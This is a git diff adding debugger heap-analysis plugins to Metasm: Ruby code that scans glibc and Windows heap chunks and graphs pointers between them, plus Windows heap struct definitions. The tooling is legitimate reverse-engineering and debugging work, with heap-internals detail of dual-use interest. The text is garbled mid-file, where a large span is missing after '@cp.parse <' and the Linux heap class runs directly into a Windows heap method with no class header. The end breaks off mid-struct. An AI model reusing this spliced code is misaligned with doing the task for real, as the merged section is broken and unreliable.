:line_text_col => [], :line_address => [], :line_struct => [], :line_member => [] + todo.concat @heap.xrchunksto[a].to_a & @addr_struct.keys + end + + # link boxes + if (@heap.xrchunksto[ctx.box.first.id].to_a & @addr_struct.keys).length == ctx.box.length - 1 + ot = ctx.box[0].id + ctx.box[1..-1].each { |b_| + ctx.link_boxes(ot, b_.id) + } + else + ctx.box.each { |b| + @heap.xrchunksto[b.id].to_a.each { |t| + ctx.link_boxes(b.id, t) if @addr_struct[t] + } + } + end + + if snapped + @datadiff = {} + end + + # calc box dimensions/text + ctx.box.each { |b| + colstr = [] + curaddr = b.id + curst = @addr_struct[b.id] + curmb = nil + margin = '' + start_addr = curaddr + if snapped + ghosts = snapped[curaddr] + end + line = 0 + render = lambda { |str, col| colstr << [str, col] } + nl = lambda { + b[:line_address][line] = curaddr + b[:line_text_col][line] = colstr + b[:line_struct][line] = curst + b[:line_member][line] = curmb + colstr = [] + line += 1 + } + render_val = lambda { |v| + if v.kind_of?(::Integer) + if v > 0x100 + render['0x%X' % v, :text] + elsif v < -0x100 + render['-0x%X' % -v, :text] + else + render[v.to_s, :text] + end + elsif not v + render['NULL', :text] + else + render[v.to_s, :text] + end + } + render_st = nil + render_st_ar = lambda { |ast, m| + elemt = m.type.untypedef.type.untypedef + if elemt.kind_of?(C::BaseType) and elemt.name == :char + render[margin, :text] + render["#{m.type.type.to_s[1...-1]} #{m.name}[#{m.type.length}] = #{ast[m].to_array.pack('C*').sub(/\0.*$/m, '').inspect}", :text] + nl[] + curaddr += ast.cp.sizeof(m) + else + t = m.type.type.to_s[1...-1] + tsz = ast.cp.sizeof(m.type.type) + fust = curst + fumb = curmb + curst = ast[m] + ast[m].to_array.each_with_index { |v, i| + curmb = i + render[margin, :text] + if elemt.kind_of?(C::Union) + if m.type.untypedef.type.kind_of?(C::Union) + render[elemt.kind_of?(C::Struct) ? 'struct ' : 'union ', :text] + render["#{elemt.name} ", :text] if elemt.name + else # typedef + render["#{elemt.to_s[1...-1]} ", :text] + end + render_st[v] + render[" #{m.name}[#{i}]", :text] + else + render["#{t} #{m.name}[#{i}] = ", :text] + render_val[v] + @datadiff[curaddr] = true if ghosts and ghosts.all? { |g| g[curaddr-start_addr, tsz] == ghosts[0][curaddr-start_addr, tsz] } and ghosts[0][curaddr-start_addr, tsz] != ast.str[curaddr, tsz].to_str + end + render[';', :text] + nl[] + curaddr += tsz + } + curst = fust + curmb = fumb + end + } + render_st = lambda { |ast| + st_addr = curaddr + oldst = curst + oldmb = curmb + oldmargin = margin + render['{', :text] + nl[] + margin += ' ' + curst = ast + ast.struct.members.each { |m| + curmb = m + curaddr = st_addr + ast.struct.offsetof(@heap.cp, m) + + if bo = ast.struct.bitoffsetof(@heap.cp, m) + # float curaddr to make ghost hilight work on bitfields + curaddr += (1+bo[0])/1000.0 + end + + if m.type.untypedef.kind_of?(C::Array) + render_st_ar[ast, m] + elsif m.type.untypedef.kind_of?(C::Union) + render[margin, :text] + if m.type.kind_of?(C::Union) + render[m.type.kind_of?(C::Struct) ? 'struct ' : 'union ', :text] + render["#{m.type.name} ", :text] if m.type.name + else # typedef + render["#{m.type.to_s[1...-1]} ", :text] + end + oca = curaddr + render_st[ast[m]] + nca = curaddr + curaddr = oca + render[" #{m.name if m.name};", :text] + nl[] + curaddr = nca + else + render[margin, :text] + render["#{m.type.to_s[1...-1]} ", :text] + render["#{m.name} = ", :text] + render_val[ast[m]] + tsz = ast.cp.sizeof(m) + # TODO bit-level multighosting + if ghosts and ghosts.all? { |g| g[curaddr.to_i-start_addr, tsz] == ghosts[0][curaddr.to_i-start_addr, tsz] } and ghosts[0][curaddr.to_i-start_addr, tsz] != ast.str[curaddr.to_i, tsz].to_str + if bo + ft = C::BaseType.new((bo[0] + bo[1] > 32) ? :__int64 : :__int32) + v1 = @heap.cp.decode_c_value(ghosts[0][curaddr.to_i-start_addr, tsz], ft, 0) + v2 = @heap.cp.decode_c_value(ast.str[curaddr.to_i, tsz], ft, 0) + @datadiff[curaddr] = true if (v1 >> bo[0]) & ((1 << bo[1])-1) != (v2 >> bo[0]) & ((1 << bo[1])-1) + else + @datadiff[curaddr] = true + end + end + render[';', :text] + + if m.type.kind_of?(C::Pointer) and m.type.type.kind_of?(C::BaseType) and m.type.type.name == :char + if s = @dasm.decode_strz(ast[m], 32) + render[" // #{s.inspect}", :comment] + end + end + nl[] + curaddr += tsz + curaddr = curaddr.to_i if bo + end + } + margin = oldmargin + curst = oldst + curmb = oldmb + render[margin, :text] + render['}', :text] + } + ast = @addr_struct[curaddr] + render["struct #{ast.struct.name} *#{'0x%X' % curaddr} = ", :text] + render_st[ast] + render[';', :text] + nl[] + + b.w = b[:line_text_col].map { |strc| strc.map { |s, c| s }.join.length }.max.to_i * @font_width + 2 + b.w += 1 if b.w % 2 == 0 + b.h = line * @font_height + } + end + + def struct_find_roots(addr) + addr = @addr_struct.keys.find { |a| addr >= a and addr < a+@addr_struct[a].sizeof } if not @addr_struct[addr] + + todo = [addr] + done = [] + roots = [] + default_root = nil + while a = todo.shift + if done.include?(a) # cycle + default_root ||= a + next + end + done << a + newf = @heap.xrchunksfrom[a].to_a & @addr_struct.keys + if newf.empty? + roots << a + else + todo.concat newf + end + end + roots << default_root if roots.empty? and default_root + + roots + end + + def focus_addr(addr, fu=nil) + return if @parent_widget and not addr = @parent_widget.normalize(addr) + + # move window / change curcontext + if b = @curcontext.box.find { |b_| b_[:line_address].index(addr) } + @caret_box, @caret_x, @caret_y = b, 0, b[:line_address].rindex(addr) + @curcontext.view_x += (width/2 / @zoom - width/2) + @curcontext.view_y += (height/2 / @zoom - height/2) + @zoom = 1.0 + + focus_xy(b.x, b.y + @caret_y*@font_height) + update_caret + elsif addr_struct and (@addr_struct[addr] or @addr_struct.find { |a, s| addr >= a and addr < a+s.sizeof }) + @curcontext = Graph.new 'testic' + @curcontext.root_addrs = struct_find_roots(addr) + @want_focus_addr = addr + gui_update + elsif @heap.chunks[addr] + @want_focus_addr = addr + do_focus_addr(addr) + else + return + end + true + end + + def do_focus_addr(addr) + st = @heap.chunk_struct[addr] || create_struct(addr) + + ed = @dasm.get_edata_at(addr) + @addr_struct = { addr => @heap.cp.decode_c_struct(st.name, ed.data, ed.ptr) } + gui_update + end + + # create the struct chunk_, register it in @heap.chunk_struct + def create_struct(addr) + raise "no chunk here" if not @heap.chunks[addr] + + ptsz = @dasm.cpu.size/8 + + # check if this is a c++ object with RTTI info + vptr = @dasm.decode_dword(addr) + rtti = @dasm.decode_dword(vptr-ptsz) + case OS.shortname + when 'winos' + typeinfo = @dasm.decode_dword(rtti+3*ptsz) if rtti + if typeinfo and s = @dasm.decode_strz(typeinfo+3*ptsz) + rtti_name = s[/^(.*)@@$/, 1] # remove trailing @@ + end + when 'linos' + typeinfo = @dasm.decode_dword(rtti+ptsz) if rtti + if typeinfo and s = @dasm.decode_strz(typeinfo) + rtti_name = s[/^[0-9]+(.*)$/, 1] # remove leading number + end + end + + if rtti_name and st = @heap.cp.toplevel.struct[rtti_name] + return @heap.chunk_struct[addr] = st + end + + st = C::Struct.new + st.name = rtti_name || "chunk_#{'%x' % addr}" + st.members = [] + li = 0 + (@heap.chunks[addr] / ptsz).times { |i| + n = 'unk_%x' % (ptsz*i) + v = @dasm.decode_dword(addr+ptsz*i) + if i == 0 and rtti_name + t = C::Pointer.new(C::Pointer.new(C::BaseType.new(:void))) + n = 'vtable' + elsif @heap.chunks[v] + t = C::Pointer.new(C::BaseType.new(:void)) + else + t = C::BaseType.new("__int#{ptsz*8}".to_sym, :unsigned) + end + st.members << C::Variable.new(n, t) + li = i+1 + } + (@heap.chunks[addr] % ptsz).times { |i| + n = 'unk_%x' % (ptsz*li+i) + t = C::BaseType.new(:char, :unsigned) + st.members << C::Variable.new(n, t) + } + @heap.cp.toplevel.struct[st.name] = st + @heap.chunk_struct[addr] = st + end + + def snap + if not snapped + @datadiff = {} + ocb = @parent_widget.bg_color_callback + @parent_widget.bg_color_callback = lambda { |a| + if @datadiff[a] + 'f88' + elsif ocb + ocb[a] + end + } + end + @snapped = {} + @addr_struct.each { |a, ast| + @snapped[a] = [ast.str[ast.stroff, ast.sizeof].to_str] + } + end + + def snap_add + return snap if not snapped + @addr_struct.each { |a, ast| + (@snapped[a] ||= []) << ast.str[ast.stroff, ast.sizeof].to_str + } + end + + def get_cursor_pos + [super, addr_struct] + end + + def set_cursor_pos(p) + s, @addr_struct = p + super(s) + end +end +end +end diff --git a/lib/metasm/samples/dbg-plugins/heapscan/heapscan.rb b/lib/metasm/samples/dbg-plugins/heapscan/heapscan.rb new file mode 100644 index 0000000000..884ff79b87 --- /dev/null +++ b/lib/metasm/samples/dbg-plugins/heapscan/heapscan.rb @@ -0,0 +1,709 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2009 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + + +module Metasm +class Heap + attr_accessor :vm, :range, :ptsz + attr_accessor :cp + # hash chunk userdata pointer -> chunk userdata size + attr_accessor :chunks + # hash chunk user pointer -> C::Struct + attr_accessor :chunk_struct + # the chunk graph: chunk pointer -> [array of chunks addrs pointed] + attr_accessor :xrchunksto, :xrchunksfrom + + def initialize(dbg) + @dbg = dbg + @dbg.pid_stuff_list << :heap + @dbg.heap = self + @range = {} + @dwcache = {} + # userdata_ptr => len + @chunks = {} + @xrchunksto = {} + @xrchunksfrom = {} + @ptsz = dbg.cpu.size/8 + # ptr => C::Struct + @chunk_struct = {} + end + + def pagecache(base, len) + @dbg.read_mapped_range(base, len) + end + + def dwcache(base, len) + @dwcache[[base, len]] ||= pagecache(base, len).unpack(@ptsz == 4 ? 'L*' : 'Q*') + end + + # return the array of dwords in the chunk + def chunkdw(ptr, len=@chunks[ptr]) + if base = find_range(ptr) + dwcache(base, @range[base])[(ptr-base)/@ptsz, len/@ptsz] + end + end + + # returns the list of chunks, sorted + def chunklist + @chunklist ||= @chunks.keys.sort + end + + # dichotomic search of the chunk containing ptr + # len = hash ptr => length + # list = list of hash keys sorted + def find_elem(ptr, len, list=nil) + return ptr if len[ptr] + + list ||= len.keys.sort + + if list.length < 16 + return list.find { |p| p <= ptr and p + len[p] > ptr } + end + + window = list + while window and not window.empty? + i = window.length/2 + wi = window[i] + if ptr < wi + window = window[0, i] + elsif ptr < wi + len[wi] + return wi + else + window = window[i+1, i] + end + end + end + + # find the chunk encompassing ptr + def find_chunk(ptr) + find_elem(ptr, @chunks, chunklist) + end + + def find_range(ptr) + @range_keys ||= @range.keys.sort + find_elem(ptr, @range, @range_keys) + end + + # { chunk size => [list of chunk addrs] } + attr_accessor :buckets + def bucketize + @buckets = {} + chunklist.each { |a| + (@buckets[@chunks[a]] ||= []) << a + } + end + + # find the kernels of the graph (strongly connected components) + # must be called after scan_xr + # also find the graph diameter + attr_accessor :kernels, :maxpath + def find_kernels(adj = @xrchunksto) + @maxpath = [] + kernels = {} + adj.keys.sort.each { |ptr| + next if kernels[ptr] + paths = [[ptr]] + while path = paths.pop + next if not l = @xrchunksfrom[path.first] + l.each { |pl| + next if kernels[pl] + next if not adj[pl] + if path.include?(pl) + kernels[pl] = true + else + paths << [pl, *path] + end + } + @maxpath = paths.last if paths.last and paths.last.length > @maxpath.length + end + } + if @maxpath.first and np = (adj[@maxpath.last] - @maxpath).first + @maxpath << np + end + @kernels = [] + while k = kernels.index(true) + curk = reachfrom(k, adj).find_all { |ok| + true == reachfrom(ok, adj) { |tk| + break true if tk == k + } + } + @kernels << curk + curk.each { |ka| kernels.delete ka } + end + end + + attr_accessor :roots + # find the root nodes that allow acces to most other nodes + # { root => [reachable nodes] } + # does not include single nodes (@chunks.keys - @xrchunksfrom.keys) + def find_roots(adj=@xrchunksto) + @roots = {} + adj.keys.sort.each { |r| + if not @roots[r] + l = reachfrom(r, adj, @roots) + l.each { |t| @roots[t] = true if adj[t] } # may include r !, also dont mark leaves + @roots[r] = l + end + } + @roots.delete_if { |k, v| v == true } + end + + def reachfrom(p, adj = @xrchunksto, roots={}) + return roots[p] if roots[p].kind_of? Array + hash = {} + todo = [p] + while p = todo.pop + if to = roots[p] || adj[p] and to.kind_of? Array + to.each { |tk| + if not hash[tk] + hash[tk] = true + todo << tk + yield tk if block_given? + end + } + end + end + hash.keys + end + + # create a subset of xrchunksto from one point + def graph_from(p, adj = @xrchunksto) + hash = {} + todo = [p] + while p = todo.pop + next if hash[p] + if adj[p] + hash[p] = adj[p] + todo.concat hash[p] + end + end + hash + end + + # dump the whole graph in a dot file + def dump_graph(fname='graph.gv', graph=@xrchunksto) + File.open(fname, 'w') { |fd| + fd.puts "digraph foo {" + graph.each { |b, l| + fd.puts l.map { |e| '"%x" -> "%x";' % [b, e] } + } + fd.puts "}" + } + end + + # chunk ptr => { dwindex => [list of ptrs] } + attr_accessor :linkedlists, :alllists + def find_linkedlists + @linkedlists = {} + @alllists = [] + @buckets.sort.each { |sz, lst| + #puts "sz #{sz} #{lst.length}" + lst.each { |ptr| + next if not l = @xrchunksto[ptr] + next if not l.find { |tg| @chunks[tg] == sz } + dw = chunkdw(ptr) + dw.length.times { |dwoff| + next if @linkedlists[ptr] and @linkedlists[ptr][dwoff] + tg = dw[dwoff] + next if @chunks[tg] != sz + check_linkedlist(ptr, dwoff) + } + } + } + end + + def check_linkedlist(ptr, dwoff) + psz = @chunks[ptr] + fwd = ptr + lst = [fwd] + base = find_range(fwd) + loop do + if not base or base > fwd or base + @range[base] <= fwd + base = find_range(fwd) + end + break if not base + fwd = dwcache(base, @range[base])[(fwd-base)/@ptsz + dwoff] + break if fwd == 0 + return if not cl = @chunks[fwd] # XXX root/tail may be in .data + return if cl != psz + break if lst.include? fwd + lst << fwd + end + fwd = ptr + while pv = @xrchunksfrom[fwd] + fwd = pv.find { |p| + next if @chunks[p] != psz + if not base or base > p or base + @range[base] <= p + base = find_range(fwd) + end + dwcache(base, @range[base])[(p-base)/@ptsz + dwoff] == fwd + } + break if not fwd + break if lst.include? fwd + lst.unshift fwd + end + if lst.length > 3 + lst.each { |p| (@linkedlists[p] ||= {})[dwoff] = lst } + @alllists << lst + end + end + + # { chunkinarray => { rootptr => [chunks] } } + attr_accessor :arrays, :allarrays + def find_arrays + @arrays = {} + @allarrays = [] + @buckets.sort.each { |sz, lst| + next if sz < @ptsz*6 + lst.each { |ptr| + next if not to = @xrchunksto[ptr] + # a table must have at least half its storage space filled with ptrs + next if to.length <= sz/@ptsz/2 + # also, ptrs must point to same-size stuff + lsz = Hash.new(0) + to.each { |t| lsz[@chunks[t]] += 1 } + cnt = lsz.values.max + next if cnt <= sz/@ptsz/2 + tgsz = lsz.index(cnt) + ar = to.find_all { |t| @chunks[t] == tgsz }.uniq + next if ar.length <= sz/@ptsz/2 + ar.each { |p| (@arrays[p] ||= {})[ptr] = ar } + @allarrays << ar + } + } + end +end + +class LinuxHeap < Heap + # find all chunks in the memory address space + attr_accessor :mmaps + + def scan_chunks + @chunks = {} + each_heap { |a, l, ar| + scan_heap(a, l, ar) + } + @mmapchunks = [] + @mmaps.each { |a, l| + ll = scan_mmap(a, l) || 4096 + a += ll + l -= ll + } + end + + # scan all chunks for cross-references (one chunk contaning a pointer to some other chunk) + def scan_chunks_xr + @xrchunksto = {} + @xrchunksfrom = {} + each_heap { |a, l, ar| + scan_heap_xr(a, l) + } + @mmapchunks.each { |a| + scan_mmap_xr(a, @chunks[a]) + } + end + + # scan chunks from a heap base addr + def scan_heap(base, len, ar) + dw = dwcache(base, len) + ptr = 0 + + psz = dw[ptr] + sz = dw[ptr+1] + base += 2*@ptsz # user pointer + raise "bad heap base %x %x %x %x" % [psz, sz, base, len] if psz != 0 or sz & 1 == 0 + + loop do + clen = sz & -8 # chunk size + ptr += clen/@ptsz # start of next chk + break if ptr >= dw.length or clen == 0 + sz = dw[ptr+1] + if sz & 1 > 0 # pv_inuse + # user data length up to chucksize-4 (over next psz) + #puts "used #{'%x' % base} #{clen-@ptsz}" if $VERBOSE + @chunks[base] = clen-@ptsz + else + #puts "free #{'%x' % base} #{clen-@ptsz}" if $VERBOSE + end + base += clen + end + + del_fastbin(ar) + end + + def scan_heap_xr(base, len) + dw = dwcache(base, len) + @chunks.each_key { |p| + i = (p-base) / @ptsz + if i >= 0 and i < dw.length + lst = dw[i, @chunks[p]/@ptsz].find_all { |pp| @chunks[pp] } + @xrchunksto[p] = lst if not lst.empty? + lst.each { |pp| (@xrchunksfrom[pp] ||= []) << p } + end + } + end + + # scan chunks from a mmap base addr + # big chunks are allocated on anonymous-mmap areas + # for mmap chunks, pv_sz=0 pv_inuse=0, mmap=1, data starts at 8, mmapsz = userlen+12 [roundup 4096] + # one entry in /proc/pid/maps may point to multiple consecutive mmap chunks + # scans for a mmap chunk header, returns the chunk size if pattern match or nil + def scan_mmap(base, len) + foo = chunkdata(base) + clen = foo[1] & ~0xfff + if foo[0] == 0 and foo[1] & 0xfff == 2 and clen > 0 and clen <= len + @chunks[base + foo.length] = clen-4*@ptsz + @mmapchunks << (base + foo.length) + clen + end + end + + def scan_mmap_xr(base, len) + dw = dwcache(base, len) + lst = dw[2..-1].find_all { |pp| @chunks[pp] } + @xrchunksto[base] = lst if not lst.empty? + lst.each { |pp| (@xrchunksfrom[pp] ||= []) << base } + end + + attr_accessor :main_arena_ptr + + # we need to find the main_arena from the libc + # we do this by analysing 'malloc_trim' + def scan_libc(addr) + raise 'no libc' if not addr + + return if @main_arena_ptr = @dbg.symbols.index('main_arena') + + unless trim = @dbg.symbols.index('malloc_trim') || @dbg.symbols.index('weak_malloc_trim') + @dbg.loadsyms 'libc[.-]' + trim = @dbg.symbols.index('malloc_trim') || @dbg.symbols.index('weak_malloc_trim') + end + raise 'cant find malloc_trim' if not trim + + d = @dbg.disassembler + + d.disassemble_fast(trim) if not d.di_at(trim) + if d.block_at(trim).list.last.opcode.name == 'call' + # x86 getip, need to dasm to have func_binding (cross fingers) + d.disassemble d.block_at(trim).to_normal.first + end + d.each_function_block(trim) { |b| + # mutex_lock(&main_arena.mutex) gives us the addr + next if not cmpxchg = d.block_at(b).list.find { |di| di.kind_of? DecodedInstruction and di.opcode.name == 'cmpxchg' } + @main_arena_ptr = d.backtrace(cmpxchg.instruction.args.first.symbolic.pointer, cmpxchg.address) + if @main_arena_ptr.length == 1 + @main_arena_ptr = @main_arena_ptr[0].reduce + break + end + } + raise "cant find mainarena" if not @main_arena_ptr.kind_of? Integer + @dbg.symbols[@main_arena_ptr] = 'main_arena' + end + + def chunkdata(ptr) + @cp.decode_c_ary('uintptr_t', 2, @dbg.memory, ptr).to_array + end + + def each_heap + if not @cp.toplevel.struct['malloc_state'] + @cp.parse < 0 + heapcpy[off + @hsz, csz].unpack('L*').each { |p| + if @chunks[p] + (@xrchunksto[ptr] ||= []) << p + (@xrchunksfrom[p] ||= []) << ptr + end + } + end + off += sz + end + end + + # yields the _HEAP structure for all heaps + def each_heap + heaps.each { |a, l| + ar = @cp.decode_c_struct('_HEAP', @dbg.memory, a) + yield ar + } + end + + # yields all [ptr, len] for allocated segments of a _HEAP + # this maps to the _HEAP_SEGMENT further subdivised to skip + # the _HEAP_UNCOMMMTTED_RANGE areas + # for the last chunk of the _HEAP_SEGMENT, only yield up to chunk_header + def each_heap_segment(ar) + ar.segments.to_array.compact.each { |a| + sg = @cp.decode_c_struct('_HEAP_SEGMENT', @dbg.memory, a) + skiplist = [] + ptr = sg.uncommittedranges + while ptr + ucr = @cp.decode_c_struct('_HEAP_UNCOMMMTTED_RANGE', @dbg.memory, ptr) + skiplist << [ucr.Address, ucr.Size] + ptr = ucr.Next + end + ptr = sg.firstentry + # XXX lastentryinsegment == firstentry ??? + # lastvalidentry = address of the end of the segment (may point to unmapped space) + ptrend = sg.lastvalidentry + skiplist.delete_if { |sa, sl| sa < ptr or sa + sl > ptrend } + skiplist << [ptrend, 1] + skiplist.sort.each { |sa, sl| + yield(ptr, sa-ptr) + ptr = sa + sl + } + } + end + + # call with a LIST_ENTRY allocstruct, the target structure and LE offset in this structure + def each_listentry(le, st, off=0) + ptr0 = le.stroff + ptr = le.flink + while ptr != ptr0 + yield @cp.decode_c_struct(st, @dbg.memory, ptr-off) + ptr = @cp.decode_c_struct('_LIST_ENTRY', @dbg.memory, ptr).flink + end + end +end + +class Windows7Heap < WindowsHeap + # 4-byte xor key to decrypt the chunk headers + attr_accessor :chunkkey_size, :chunkkey_flags, :chunkkey_unusedbytes + def each_heap_segment(ar) + if ar.encodeflagmask != 0 + @chunkkey_size = ar.encoding.size + @chunkkey_flags = ar.encoding.flags + @chunkkey_unusedbytes = ar.encoding.unusedbytes + else + @chunkkey_size = 0 + @chunkkey_flags = 0 + @chunkkey_unusedbytes = 0 + end + + each_listentry(ar.segmentlist, '_HEAP_SEGMENT', 0x10) { |sg| + skiplist = [] + each_listentry(sg.ucrsegmentlist, '_HEAP_UCR_DESCRIPTOR', 8) { |ucr| + skiplist << [ucr.address, ucr.size] + } + + ptr = sg.firstentry + ptrend = sg.lastvalidentry + @hsz + skiplist.delete_if { |sa, sl| sa < ptr or sa + sl > ptrend } + skiplist << [ptrend, 1] + skiplist.sort.each { |sa, sl| + yield(ptr, sa-ptr) + ptr = sa + sl + } + } + end + + def scan_heap_segment(first, len) + off = 0 + heapcpy = pagecache(first, len) + while off < len + he = @cp.decode_c_struct('_HEAP_ENTRY', heapcpy, off) + sz = (he.Size ^ @chunkkey_size)*8 + if (he.Flags ^ @chunkkey_flags) & 1 == 1 + @chunks[first+off+@hsz] = sz - (he.UnusedBytes ^ @chunkkey_unusedbytes) + end + off += sz + end + end + + def scan_frontend(ar) + return if ar.frontendheaptype != 2 + lfh = @cp.decode_c_struct('_LFH_HEAP', @dbg.memory, ar.frontendheap) + lfh.localdata[0].segmentinfo.to_array.each { |sinfo| + sinfo.cacheditems.to_array.each { |ssp| + next if not ssp + subseg = @cp.decode_c_struct('_HEAP_SUBSEGMENT', @dbg.memory, ssp) + scan_lfh_ss(subseg) + } + } + end + + def scan_lfh_ss(subseg) + up = subseg.userblocks + return if not up + bs = subseg.blocksize + bc = subseg.blockcount + list = Array.new(bc) { |i| up + 0x10 + bs*8*i } + + free = [] + ptr = subseg.freeentryoffset + subseg.depth.times { + free << (up + 8*ptr) + ptr = @dbg.memory[up + 8*ptr + 8, 2].unpack('v')[0] + } +@foo ||= 0 +@foo += 1 +p @foo if @foo % 10 == 0 + + up += 0x10 + list -= free + list.each { |p| @chunks[p+8] = bs*8 - (@cp.decode_c_struct('_HEAP_ENTRY', @dbg.memory, p).unusedbytes & 0x7f) } + end + + def scan_chunks_xr + @xrchunksto = {} + @xrchunksfrom = {} + @chunks.each { |a, l| + pagecache(a, l).unpack('L*').each { |p| + if @chunks[p] + (@xrchunksto[a] ||= []) << p + (@xrchunksfrom[p] ||= []) << a + end + } + } + end +end +end diff --git a/lib/metasm/samples/dbg-plugins/heapscan/winheap.h b/lib/metasm/samples/dbg-plugins/heapscan/winheap.h new file mode 100644 index 0000000000..adcc7fb004 --- /dev/null +++ b/lib/metasm/samples/dbg-plugins/heapscan/winheap.h @@ -0,0 +1,174 @@ +typedef void VOID; +typedef unsigned __int8 UINT8; +typedef unsigned __int16 UINT16; +typedef __int32 LONG32; +typedef unsigned __int32 ULONG32; +typedef unsigned __int64 UINT64; + +// pseudo struct, for the PEB heap list +struct HEAPTABLE { + struct _HEAP *list[16]; +}; + +struct _LIST_ENTRY { + struct _LIST_ENTRY *FLink; + struct _LIST_ENTRY *BLink; +}; + +union _SLIST_HEADER { + struct _LIST_ENTRY le; +}; + +typedef struct _HEAP_ENTRY // 7 elements, 0x8 bytes (sizeof) +{ +// union // 2 elements, 0x4 bytes (sizeof) +// { +// struct // 2 elements, 0x4 bytes (sizeof) +// { +/*0x000*/ UINT16 Size; +/*0x002*/ UINT16 PreviousSize; +// }; +///*0x000*/ VOID* SubSegmentCode; +// }; +/*0x004*/ UINT8 SmallTagIndex; +/*0x005*/ UINT8 Flags; +/*0x006*/ UINT8 UnusedBytes; +/*0x007*/ UINT8 SegmentIndex; +}HEAP_ENTRY, *PHEAP_ENTRY; + +typedef struct _HEAP // 36 elements, 0x588 bytes (sizeof) +{ +/*0x000*/ struct _HEAP_ENTRY Entry; // 7 elements, 0x8 bytes (sizeof) +/*0x008*/ ULONG32 Signature; +/*0x00C*/ ULONG32 Flags; +/*0x010*/ ULONG32 ForceFlags; +/*0x014*/ ULONG32 VirtualMemoryThreshold; +/*0x018*/ ULONG32 SegmentReserve; +/*0x01C*/ ULONG32 SegmentCommit; +/*0x020*/ ULONG32 DeCommitFreeBlockThreshold; +/*0x024*/ ULONG32 DeCommitTotalFreeThreshold; +/*0x028*/ ULONG32 TotalFreeSize; +/*0x02C*/ ULONG32 MaximumAllocationSize; +/*0x030*/ UINT16 ProcessHeapsListIndex; +/*0x032*/ UINT16 HeaderValidateLength; +/*0x034*/ VOID* HeaderValidateCopy; +/*0x038*/ UINT16 NextAvailableTagIndex; +/*0x03A*/ UINT16 MaximumTagIndex; +/*0x03C*/ struct _HEAP_TAG_ENTRY* TagEntries; +/*0x040*/ struct _HEAP_UCR_SEGMENT* UCRSegments; +/*0x044*/ struct _HEAP_UNCOMMMTTED_RANGE* UnusedUnCommittedRanges; +/*0x048*/ ULONG32 AlignRound; +/*0x04C*/ ULONG32 AlignMask; +/*0x050*/ struct _LIST_ENTRY VirtualAllocdBlocks; // 2 elements, 0x8 bytes (sizeof) +/*0x058*/ struct _HEAP_SEGMENT* Segments[64]; + union // 2 elements, 0x10 bytes (sizeof) + { +/*0x158*/ ULONG32 FreeListsInUseUlong[4]; +/*0x158*/ UINT8 FreeListsInUseBytes[16]; + }u; + union // 2 elements, 0x2 bytes (sizeof) + { +/*0x168*/ UINT16 FreeListsInUseTerminate; +/*0x168*/ UINT16 DecommitCount; + }u2; +/*0x16A*/ UINT16 AllocatorBackTraceIndex; +/*0x16C*/ ULONG32 NonDedicatedListLength; +/*0x170*/ VOID* LargeBlocksIndex; +/*0x174*/ struct _HEAP_PSEUDO_TAG_ENTRY* PseudoTagEntries; +/*0x178*/ struct _LIST_ENTRY FreeLists[128]; +/*0x578*/ struct _HEAP_LOCK* LockVariable; +///*0x57C*/ FUNCT_0049_0C5F_CommitRoutine* CommitRoutine; +/*0x57C*/ VOID* CommitRoutine; +/*0x580*/ VOID* FrontEndHeap; +/*0x584*/ UINT16 FrontHeapLockCount; +/*0x586*/ UINT8 FrontEndHeapType; +/*0x587*/ UINT8 LastSegmentIndex; +}HEAP, *PHEAP; + +typedef struct _HEAP_UNCOMMMTTED_RANGE // 4 elements, 0x10 bytes (sizeof) +{ +/*0x000*/ struct _HEAP_UNCOMMMTTED_RANGE* Next; +/*0x004*/ ULONG32 Address; +/*0x008*/ ULONG32 Size; +/*0x00C*/ ULONG32 filler; +}HEAP_UNCOMMMTTED_RANGE, *PHEAP_UNCOMMMTTED_RANGE; + +typedef struct _HEAP_ENTRY_EXTRA // 4 elements, 0x8 bytes (sizeof) +{ + union // 2 elements, 0x8 bytes (sizeof) + { + struct // 3 elements, 0x8 bytes (sizeof) + { +/*0x000*/ UINT16 AllocatorBackTraceIndex; +/*0x002*/ UINT16 TagIndex; +/*0x004*/ ULONG32 Settable; + }; +/*0x000*/ UINT64 ZeroInit; + }; +}HEAP_ENTRY_EXTRA, *PHEAP_ENTRY_EXTRA; + +typedef struct _HEAP_VIRTUAL_ALLOC_ENTRY // 5 elements, 0x20 bytes (sizeof) +{ +/*0x000*/ struct _LIST_ENTRY Entry; // 2 elements, 0x8 bytes (sizeof) +/*0x008*/ struct _HEAP_ENTRY_EXTRA ExtraStuff; // 4 elements, 0x8 bytes (sizeof) +/*0x010*/ ULONG32 CommitSize; +/*0x014*/ ULONG32 ReserveSize; +/*0x018*/ struct _HEAP_ENTRY BusyBlock; // 7 elements, 0x8 bytes (sizeof) +}HEAP_VIRTUAL_ALLOC_ENTRY, *PHEAP_VIRTUAL_ALLOC_ENTRY; + + +typedef struct _HEAP_FREE_ENTRY // 8 elements, 0x10 bytes (sizeof) +{ + union // 2 elements, 0x4 bytes (sizeof) + { + struct // 2 elements, 0x4 bytes (sizeof) + { +/*0x000*/ UINT16 Size; +/*0x002*/ UINT16 PreviousSize; + }; +/*0x000*/ VOID* SubSegmentCode; + }; +/*0x004*/ UINT8 SmallTagIndex; +/*0x005*/ UINT8 Flags; +/*0x006*/ UINT8 UnusedBytes; +/*0x007*/ UINT8 SegmentIndex; +/*0x008*/ struct _LIST_ENTRY FreeList; // 2 elements, 0x8 bytes (sizeof) +}HEAP_FREE_ENTRY, *PHEAP_FREE_ENTRY; + +typedef struct _HEAP_LOOKASIDE // 10 elements, 0x30 bytes (sizeof) +{ +/*0x000*/ union _SLIST_HEADER ListHead; // 4 elements, 0x8 bytes (sizeof) +/*0x008*/ UINT16 Depth; +/*0x00A*/ UINT16 MaximumDepth; +/*0x00C*/ ULONG32 TotalAllocates; +/*0x010*/ ULONG32 AllocateMisses; +/*0x014*/ ULONG32 TotalFrees; +/*0x018*/ ULONG32 FreeMisses; +/*0x01C*/ ULONG32 LastTotalAllocates; +/*0x020*/ ULONG32 LastAllocateMisses; +/*0x024*/ ULONG32 Counters[2]; +/*0x02C*/ UINT8 _PADDING0_[0x4]; +}HEAP_LOOKASIDE, *PHEAP_LOOKASIDE; + +struct FRONTEND1 { + struct _HEAP_LOOKASIDE l[128]; +}; + +typedef struct _HEAP_SEGMENT // 15 elements, 0x3C bytes (sizeof) +{ +/*0x000*/ struct _HEAP_ENTRY Entry; // 7 elements, 0x8 bytes (sizeof) +/*0x008*/ ULONG32 Signature; +/*0x00C*/ ULONG32 Flags; +/*0x010*/ struct _HEAP* Heap; +/*0x014*/ 